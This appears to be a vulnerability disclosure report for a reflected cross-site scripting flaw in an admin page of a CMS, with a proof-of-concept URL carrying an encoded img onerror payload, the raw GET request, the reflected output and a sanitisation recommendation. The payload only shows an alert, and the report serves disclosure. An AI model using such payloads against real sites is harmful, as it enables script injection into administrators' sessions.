Description

/admin/controllers/edit/activity/perms/ takes input from the URL directly without sufficient sanitization leading to a Reflected XSS.

A valid admin session is required, without it, the user will be brought to the login page instead of the affected page.

Proof of Concept

1. Login as an administrator
2. Visit the following URL to trigger JavaScript code: http://icms.local/admin/controllers/edit/activity/perms/%22%3E%3Cimg%20src%3da%20onerror%3dalert(location.origin)%3E

Payload

"&gt;<img src>

Request:

GET /admin/controllers/edit/activity/perms/%22%3E%3Cimg%20src%3da%20onerror%3dalert(location.origin)%3E HTTP/1.1
Host: icms.local
[...]

The inserted input would then be reflected on the page like this:

&lt;form action="/admin/controllers/edit/activity/perms_save/"&gt;<img src>" method="post"&gt;

Remedial Action

It is recommended to sanitize the input before it is reflected on the affected page.